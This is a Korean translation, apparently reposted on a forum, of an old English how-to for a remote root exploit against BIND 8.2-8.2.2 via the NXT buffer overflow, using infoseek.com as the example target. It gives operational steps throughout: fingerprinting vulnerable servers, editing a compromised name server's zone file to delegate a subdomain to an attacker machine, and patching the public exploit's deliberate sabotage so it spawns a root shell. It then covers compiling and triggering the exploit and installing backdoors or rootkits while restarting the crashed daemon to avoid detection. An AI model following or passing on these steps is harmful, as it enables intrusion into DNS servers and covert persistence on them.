+-------------------------------------------------------+
|BIND 8.2 - 8.2.2 *Remote root Exploit How-To* by E-Mind|
+-------------------------------------------------------+
이 문서는 BIND 8.2 - 8.2.2의 NXT 버그를 이용한 Remote root 취약점을 설명한
글을 번역한 문서이며, 역주에 의해 의역하거나 추가된 부분이 있음을 알립니다.
이 문서에서는 공격자가 infoseek.com 네트워크 안에 해킹 머신을 가지고 있고,
infoseek.com의 PRIMARY Name Server의 루트 권한을 이용하여 Zone파일을 수정
할 수 있는 경우를 예로 들어 설명했습니다. 이 문서의 내용을 잘못 이용하여
발생하는 모든 문제의 책임은 당신에게 있습니다.
by amadohack
(A) DNS란 무엇인가?
1. DNS로 어떻게 질의(query)하는가?
2. 취약한 DNS를 어떻게 찾을 것인가?
(B) DNS entry(항목)들을 어떻게 편집할까?
1. Zone 파일을 찾는 방법은?
2. Zone 파일을 편집하는 방법은?
(C) 취약한 시스템을 공격하는 방법
1. 이 취약점(exploit)을 사용하기 전에 필요한 것들은 무엇인가?
2. 이 취약점(exploit)의 뒤에 숨겨진 이론은 무엇인가?
3. 이 취약점(exploit)을 어디서 얻는가?
4. 취약점(exploit)을 조금 수정해야 되는 이유는?
5. 취약점(exploit)을 어떻게 수정하는가?
6. 취약점(exploit)을 어떻게 컴파일하는가?
7. 취약점(exploit)을 어떻게 작동시키는가?
8. 어떻게 내 ip로 취약한 서버가 DNS 질의를 하도록 만들 것인가?
9. 얻은 쉘을 종료하기 전에 해야할 일은 무엇인가?
(D) 이 HowTo문서를 믿을 수 있게 하는 사람은 누구인가?
1. 이 문서를 쓰도록 동기를 준 사람은?
2. 나는 누구?
3. 이 문서를 바꾸고 전파할 수 있는 가?
4. 도움을 준 사람들 :)
Section A - DNS란 무엇인가?
--------------------------
DNS(Domain Name Server) : 호스트 이름을 IP 주소로, IP 주소를 호스트
이름으로 변환하는 데 사용되는 서버.
예) www.infoseek.com = 204.162.96.173
1. DNS로 어떻게 질의(query)하는가?
웹브라우저가 웹사이트를 ip address가 아닌 호스트이름(hostname)으로
찾아가기 위해서는 TCP/IP를 구성할 때 DNS 서버에 대한 설정이 필요하
다는 것을 알 것입니다. 여러분은 여러분의 ISP(인터넷 서비스 제공업체)
로부터 알맞은 DNS 서버의 주소를 받을 것입니다.
DNS 서버에게 query(질의)하는 방법은 Unix나 NT에 제공되는 “nslookup”
이라는 도구를 사용합니다. 그 도구의 구문은 다음과 같습니다.
$ nslookup # hostname으로 ip address를 얻고자 할 때
or
$ nslookup # ip address로 hostname을 얻고자 할 때
DNS는 Zone파일(지역파일)이라고 불리는 두개의 목록(list)이 존재합니다.
하나의 Zone파일은 hostname을 ip address로 변환하는 데 사용하고, 다른
Zone파일은 ip address를 hostname으로 변환하는 데 사용합니다.
또한, “nslookup”은 대화식(interactive way: > 프롬프트를 통한 요청과
답변의 방식)방법으로 더욱 강력하게 사용될 수 있습니다.
단지, shell(쉘)상태에서 “nslookup”을 타이핑하고 엔터를 누르면 대화식
방법을 사용할 수 있습니다.
$ nslookup
>
여러분은 “>” 프롬프트를 얻을 것입니다. 그리고, ip address나 hostname을
프롬프트에 타이핑 함으로써 정보를 얻을 수 있습니다.
여러분에게 더 많은 정보를 줄 이 howto문서에는 추후에 논의할 nslookup의
몇 개의 명령들에 대한 설명이 있습니다.
2. 취약한 DNS를 어떻게 찾을 것인가?
우리는 Name Server를 공격할 것입니다.
먼저, 원격 호스트(공격할 호스트)에서 실행되는 DNS 서비스의 버전을 알아내야
합니다. 또한, 그 호스트의 운영체제를 알 필요가 있습니다. 운영체제 파악에
대한 문서는 많습니다.(그러므로, 다루지 않겠다는 뜻)
(역주: 버퍼오버플로우를 이용하는 방법이니 운영체제마다 Shell code가 다릅니다.
그러므로, 운영체제를 알아내야 겠죠. 여기서 다루는 건 linux 에 한정됩니다.)
우리는 대부분의 Unix 시스템에서 사용 가능한 dig라는 도구를 사용할 것입니다.
dig의 사용구문은 다음과 같습니다.(역주: 다른 스캔툴들이 많이 있습니다.)
$ dig target=display>@ version.bind chaos txt | grep ”8
그 결과를 보십시오.
* 8.2 or 8.2.1 or 8.2.2 버전이라면 공격이 가능합니다.
* 8.2.2P2 ~ P5를 본다면, 공격은 불가능합니다.
만약, 여러분이 결과를 얻지 못하고 접속이 끊긴다면, 그것은 DNS 관리자가 소스를
수정했고, 그 결과로 여러분에게 정보를 주지 않는 것을 의미합니다.
이것 또한 공격이 가능할 수 있습니다.
Section B - DNS entry(항목)들을 어떻게 편집할까?
------------------------------------------------
여러분은 DNS의 Zone 파일은 단지 text 파일이라는 것을 알아야 합니다. 그러므로, 그
entry(항목)들은 text 파일을 편집하여 바꾸고 추가될 수 있습니다. 그 후 서비스를 다시
시작하기만 하면 됩니다.
DNS 서비스를 조정(control)하는 주 파일은 /etc/named.conf나 /etc/named.boot입니다.
만약, /etc/named.conf 파일이 존재한다면 DNS는 그 파일의 설정대로 작동되고 있을
것입니다.
1. Zone 파일을 찾는 방법은?
전에 언급했듯이 적절히 구성된 DNS는 제공하는 서비스를 위해 두개의 Zone 파일들
또는 리스트를 가지고 있습니다. 여러분은 그 도메인(공격을 준비하는 시스템)에
entry(항목)들을 추가하거나 수정하기 위해 Zone 파일을 편집할 필요가 있습니다.
infoseek.com 도메인을 예로 들어 설명하겠습니다. hostname은 www이며,
FQDN(Fully Qualified Domain Name: 완전히 부여된 도메인 이름)은 www.infoseek.com
입니다.
작동 방법 :
$ nslookup
Default Server: xxx.xxx.xxx.xxx
Address: xxx.xxx.xxx.xxx
>set q=ns
>infoseek.com
Server: xxx.xxx.xxx.xxx
Address: xxx.xxx.xxx.xxx
Non-authoritative answer:
infoseek.com nameserver = NS-BBN.infoseek.com
infoseek.com nameserver = NS-UU.infoseek.com
Authoritative answers can be found from:
NS-BBN.infoseek.com internet address = 204.162.96.19
NS-UU.infoseek.com internet address = 198.5.208.3
위와 같이 여러분은 infoseek.com 네임서버의 ip 주소를 얻을 수 있습니다.
우리가 root의 권한을 가지고 있다고 가정합시다.
DNS로 SSH(secure sh을 의미하는 것 같네요)을 통해 접속한 후 /etc/named.conf 파일을
봅니다. 그 파일의 윗부분에 보면 options 라는 섹션(부분)을 볼 수 있습니다.
그 options section에는 다음과 같은 줄(line)이 있습니다.
Directory “/var/named”;
이것은 Zone 파일이 /var/named 디렉토리에 있다는 것을 의미합니다.
(역주 : default 설정 값입니다.)
/etc/named.conf 파일의 더 밑부분을 봅시다. 그러면, 여러분은 몇몇 zone 부분을 볼 수
있습니다. 아래와 같은 infoseek.com 을 위한 zone 부분을 볼 수 있습니다.
zone “infoseek.com”{
type master;
file “infoseek.com.zone”;
}
여러분은 이 부분을 통해 이해 할 수 있을 것입니다.
zone 파일은 /var/named/infoseek.com이고, 그것은 우리가 편집해야 할 파일입니다.
2. Zone 파일을 편집하는 방법은?
우선, 찾은 zone 파일을 봅시다.
파일의 윗부분에서 garbage text block 같은 SOA record를 볼 수 있습니다.
그리고, 그 밑에는 아래와 같은 것이 있을 겁니다.
@ IN NS NS-UU.infoseek.com.
www IN A 204.192.96.173
ftp IN CNAME corp-bbn
corp-bbn IN A 204.192.96.2
.
.
.
보는 바와 같이 여러 형태의 record들이 있습니다. 여러분은 공격을 위해서 단지
하나의 record에만 신경을 쓰면 됩니다. 그것은 NS라는 record입니다.
A record는 명시된 hostname을 ip address로 바꿔주는 record입니다.
CNAME은 A record에 alias(다르게 표현할 별칭)할 형식적인 이름입니다.
A PTR(역주: 보통 PTR은 Pointer를 의미합니다.) record는 A의 Pointer record입
니다. PTR들은 “oter” zone 파일에서 사용됩니다.
우리는 더 자세한 사항을 논의하지 않을 것입니다. 그러나, 여러분은 DNS에 대해
읽어야 합니다. DNS에 관한 많은 유익한 책이 있고 당신은 그것을 읽어야 합니다.
NS record는 특정한 도메인이나 sub-domain에게 자신이 Name Server라고 명시하는
역할을 하는 Name Server record 타입입니다. 여러분이 이미 눈치 챘을 지 모르겠지만,
NS record인 NS-UU.infoseek.com은 “.”으로 끝납니다.
이렇게 하는 이유는 단지 hostname이 아닌 FQDN으로 명시했기 때문입니다.
(즉, hostname은 NS-UU이고, domain name은 infoseek.com이며, FQDN은 이를 합친
NS-UU.infoseek.com이다. 이렇게 FQDN으로 명시할 경우에는 마지막에 "."으로
마쳐야 한다.)
the period가 빠졌을 때, 도메인 이름은 호스트 이름 다음에 추가되어 진다.
그리고, 만약 우리가 the last period를 빠뜨린 곳이 있다면, 아래와 같이
될 것이다. (해석이 애매모호 합니다. 죄송합니다. -.-)
NS-UU.infoseek.com.infoseek.com.
대신 :
www IN A 204.192.96.173
우리는 이렇게 쓸 수 있다.:
www.infoseek.com. IN A 204.192.96.173
둘다 같은 것이다.
우리의 exploit을 동작시키기 위해 우리는 우리의 네트워크 상의 name server에
sub-domain을 추가할 필요가 있다. 그러므로, 우리는 다시 NS-UU.infoseek.com
의 루트라고 가정하자.
어떻게 sub-domain을 추가할 것인가?
우리는 단지 다음과 같은 NS record를 추가하기만 하면 된다.
subdomain IN NS hacker.box.com. (exploit을 실행할 시스템)
이것은 도메인 subdomain.infoseek.com의 name server가 hacker.box.com이라는
것을 의미한다.
hacker.box.com은 당신의 시스템의 IP 주소로 변환되어야될 필요가 있기 때문에
대신에 당신의 FQDN을 입력하였다.
이제, 우리는 name server를 다시 시작하여 수정한 내용이 적용되도록 해야 한다.
다음과 같은 명령을 실행한다.
#/usr/sbin/ndc restart
new pid is 24654
#
Section C - 취약한 시스템을 공격하는 방법은?
--------------------------------------------
1. 이 취약점(exploit)을 사용하기 전에 필요한 것들은 무엇인가?
먼저, 세개의 뇌세포(비유적 표현인듯 합니다. 3개의 시스템과 아주 기초적인
지식을 가지고 있으면 된다는 비유적 표현인 것 같군요.)
또한, 네트워크의 도메인을 위해 믿을 만한 PRIMARY Name Server(주네임서버)의
root 권한이 필요하다. 그리고, 취약점(exploit)을 실행할 시스템이 필요하다.
DNS 요구를 위해서 루트 권한을 얻을 수 없다면, DNS의 루트권한을 가진 누군가
에게 너를 위해 zone 파일을 편집해 줄 것을 부탁할 수도 있다.
2. 이 취약점(exploit)의 뒤에 숨겨진 이론은 무엇인가?
이 취약점(exploit)은 원격 루트 쉘을 얻기 위해 BIND version 8.2 - 8.2.2상의
버퍼 오버플로우를 이용한다.
이 취약점은 local machine(내부 시스템)의 53번 포트를 bind하고 자신이 DNS
행세를 한다.
누군가 local machine에게 호스트네임이나 IP 주소에 대해 질의를 하고, 그 질의
한 시스템이 취약한 시스템이라면, local machine의 이 exploit은 질의한
원격 BIND 서버를 공격(exploit)할 큰 NXT record를 보낼 것이다.
버퍼오버플로우에 대한 더 자세한 정보를 얻으려면 Aleph One의 훌륭한 기사를
읽어 보라.
Phrack 49 Article 14 - Smashing The Stack For Fun And Profit.
URL: http://www.phrack.com/search.phtml?view&article=p49-14
3. 이 취약점(exploit)을 어디서 얻는가?
http://www.hack.co.za/daem0n/named/t666.c
(현재 이 사이트는 폐쇄된 듯 합니다. 그러나, 아주 조금의 노력으로 여러분은
이 파일을 찾을 수 있습니다.)
4. 취약점(exploit)을 조금 수정해야 되는 이유는?
이 취약점(exploit)이 올바르게 작동하려면 조금 수정해야 된다. ADM 팀은 이
취약점이 script kid들이 아닌 hax0rs 들만이 사용하기를 원하고, 이 코드에
작은 버그를 숨겨놓았다. 그들은 실제로 /bin/sh을 수행하는 대신 /adm/sh을
수행하도록 그 코드를 조금 바꾸었다.
5. 취약점(exploit)을 어떻게 수정하는가?
아래와 보면 알겠지만, 단지 그 코드를 조금만 수정하면 된다.
/ = 2F(HEX) ===> / = 2F(HEX)
a = 61(HEX) ===> b = 62(HEX)
d = 64(HEX) ===> i = 69(HEX)
m = 6D(HEX) ===> n = 6E(HEX)
/ = 2F(HEX) ===> / = 2F(HEX)
너는 0x2f,0x61,0x64,0x6d,0x2f를 찾아서 0x2f,0x62,0x69,0x6e,0x2f로 바꿔야
한다. 이제 됐다.
6. 취약점(exploit)을 어떻게 컴파일하는가?
$gcc t666.c -o t666
$
7. 취약점(exploit)을 어떻게 작동시키는가?
$su # 먼저 루트가 되어야 함
Password:
#./t666 1
이제 exploit은 53번 포트를 bind 했다. (만약, exploit을 실행하고자 하는
시스템에 DNS 서버가 실행되고 있다면, 먼저 DNS 서버를 실행 중지시켜야
한다. #killall -9 named 명령을 사용해서..)
당신이 실행한 exploit은 이제 질문을 기다린다. 다음으로 누군가 질의를
할 것이다. 당신은 exploit 기계에서 다음과 같은 결과를 얻는다.
Received request from xxx.xx.xx.xx:1025 for xxx.xxxxxxxxx.xx.xx type=1
만약 질의를 한 서버가 DNS 서버였다면, 그 서버는 proxy loop 상태로 들어갈
것이다. 그리고, 그 서버가 Linux Redhat 6.x에서 named 8.2/8.2.1를 실행하는
DNS 서버라면 당신은 원격 루트 쉘을 얻을 것이다.
(Linux Redhat 6.x인 이유는 우리가 아키텍쳐(머신의 종류)를 1로 선택했기
때문이다. ./t666을 옵션없이 그 명령만 그대로 치면 당신은 그 exploit이
작동되는 아키텍쳐의 목록을 얻을 것이다. 나는 단지 Redhat Linux만을
시험삼아 해 보았다. 나에게 solaris에서 작동되지 않는 이유를 묻지 말라.
나는 그것을 시험할 solaris를 가지고 있지 않다.)
8. 어떻게 내 ip로 취약한 서버가 DNS 질의를 하도록 만들 것인가?
이것은 매우 쉬운 일이다. 당신이 네트워크 상의 네임서버안에 추가된 subdomain을
가지고 있고, (즉, 네임 서버안에 당신의 해킹 시스템이 subdomain으로 등록되어
있어야 된다는 말이겠죠. 앞에서 한 것처럼 name server안에 당신의 해킹 시스템을
subdomain의 name server로 등록 시키는 것을 의미합니다.) 당신 스스로 DNS를 만들
었다면, 이제 당신이 해야 할 일은 이것이다.
추가된 subdomain을 취약한 서버에게 질의 하는 일이다.
$nslookup
>server
>www.subdomain.infoseek.com
무슨일이 일어날 것인가? 이 경우 www.subdomain.infoseek.com의 IP를 얻기 위해
서버는 NS-UU.infoseek.com에게 질의한다.
NS-UU.infoseek.com은 탐색을 시작할 것이고, subdomain을 얻을 것이다.
왜냐하면, subdomain은 그 자신의 NS record(Name Server)를 가지고 있기 때문이다.
NS-UU.infoseek.com은 hacker.box.com(이 경우 당신의 hostname)이
subdomain.infoseek.com을 위한 인증된 Name Server라고 에게 답변할 것이다.
자, 이제 어떤 일이 일어날 것인가? 은 hacker.box.com에게 www.subdomain.
infoseek.com의 IP 주소를 질의할 것이고, 펑!!!!... :) 익스플로잇이 성공할 것이다.
9. 얻은 쉘을 종료하기 전에 해야할 일은 무엇인가?
당신이 BIND를 exploit할 때, 이 exploit은 named를 파괴할 것이다.(즉, victim의
Name server가 crash된다는 말) 그러므로, 당신은 어떤 종류의 백도어를 설치할
필요가 있다. 그리고 뒤로 로그인 한 후, Name server를 재 실행 시켜야 한다.
(Name server는 아주 빈번히 사용되기 때문에 이렇게 하지 않으면 쉽게 들통남.)
****주의**** exploit을 이용하여 얻은 Shell로 Name server를 재시작 하려고
시도하지 말아라.
서버에 설치할 수 있는 무수히 많은 트로이목마와 루트킷들이 널려 있다.
나는 그것을 당신의 몫으로 넘긴다.
Section D - 이 HowTo문서를 믿을 수 있게 하는 사람은 누구인가?
-------------------------------------------------------------
1. 이 문서를 쓰도록 동기를 준 사람은?
www.hack.co.za라는 훌륭한 사이트를 운영하는 gov-boi라는 사람이다.
이 How-To는 그가 없이는 쓰여질 수 없었다. Gov-Boi에게 감사하다.
2. 나는 누구?
나는 E-Mind이다. 당신은 나를 EFNet의 IRC에서 찾을 수 있다.
나는 나의 E-Mail을 남기지 않는다. 그리고, 어떤 질문에도 답하지 않을 것이다.
나는 당신이 이 exploit을 실행시킬 수 있는 모든 지식을 이 How-To에서 제공했다고
생각한다. 만약 아니라면 그리고 오류를 찾는 다면, IRC상에서 나에게 /msg 를 하라.
3. 이 문서를 바꾸고 전파할 수 있는 가?
나는 당신의 행동에 대해 책임이 없다.
이 파일로 당신이 원하는 모든 것을 할 자유가 있다.
**** "SECTION D"를 고치지 않고 남겨두는 한에서.... 헉..... -.-
4. 도움을 준 사람들 :)
Credits:
Gov-Boi - Keep up the good work man! ;p
Aleph One - no other article out there explains buffer overflows
better then yours!
ADM - for writing this cool exploit.
Greetz:
#myth!, #!glich, #972, #darknet, #feed-the-goats - `sup guyz? ;]
끝....
Section D - Who should be credited for this HowTo?
--------------------------------------------------
1. who is the person that motivated me into writing this?
That person is no other the gov-boi, he operates the great site
www.hack.co.za. Without him, this How-To would have never been writen!
Thanks Gov-Boi :)
2. whoami?
I am E-Mind, you can find me on IRC (EFNet)
I am not giving away my E-Mail, and will not answer stupied questions.
I think I have provided everything you need to RUN the exploit in this How-To.
If not, and if you find errors, PLEASE /msg me on IRC.
3. can I distribute/change this HowTo?
I take no responsibility for your actions.
You are free to do whatever you want with this file
*AS LONG AS "SECTION D" REMAINS UNTOUCHED*
4. Final Credits and Greets :)
Credits:
Gov-Boi - Keep up the good work man! ;p
Aleph One - no other article out there explains buffer overflows
better then yours!
ADM - for writing this cool exploit.
Greetz:
#myth!, #!glich, #972, #darknet, #feed-the-goats - `sup guyz? ;]
EOF

운영자
01-03-09 16:43
0개
2,625회
BIND 8.2 - 8.2.2 *Remote root Exploit How-To* by E-Mind
댓글목록
등록된 댓글이 없습니다.